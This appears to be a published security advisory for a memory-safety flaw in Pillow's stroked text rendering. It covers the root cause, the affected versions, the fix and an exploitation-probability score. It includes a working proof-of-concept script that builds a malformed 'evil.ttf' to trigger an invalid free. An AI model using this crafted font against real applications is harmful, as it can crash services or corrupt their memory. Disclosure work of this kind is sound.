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A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 10.0.0, < 13.0.0
Patched in 13.0.0
Details
When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If FT_Load_Glyph fails for a glyph, the cleanup path calls FT_Done_Glyph on the glyph variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.
glyph is declared without a NULL initializer:
src/_imagingft.c:848The first measurement loop can jump to glyph_error before glyph is ever assigned:
src/_imagingft.c:1010-1013In the render loop the glyph is freed at the end of each iteration and not set back to NULL:
src/_imagingft.c:1242The cleanup frees it whenever a stroker exists:
src/_imagingft.c:1253-1256ImageFont.truetype accepts a file object or bytes, so the font is attacker-suppliable.
This needs fontTools and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so FT_Load_Glyph returns an error while the face still opens.
import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw
SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()
raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
rec = 12 + i * 16
tag = bytes(raw[rec:rec+4]).decode("latin-1")
off, length = struct.unpack(">II", raw[rec+8:rec+16])
tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000) # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)
f = ImageFont.truetype("evil.ttf", 20) # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer
Result on the pinned build: FT_Load_Glyph returns an error and execution reaches the glyph_error cleanup that calls FT_Done_Glyph(glyph) (the plugin surfaces OSError: invalid outline).
Applications that draw text with stroke_width != 0 using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize glyph = NULL and set it back to NULL after each FT_Done_Glyph.
EPSS, exploit probability
Low0.29%
estimated chance of real-world exploitation in the next 30 days, higher than 20.5% of every CVE FIRST.org scores
Refreshed 10/21/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
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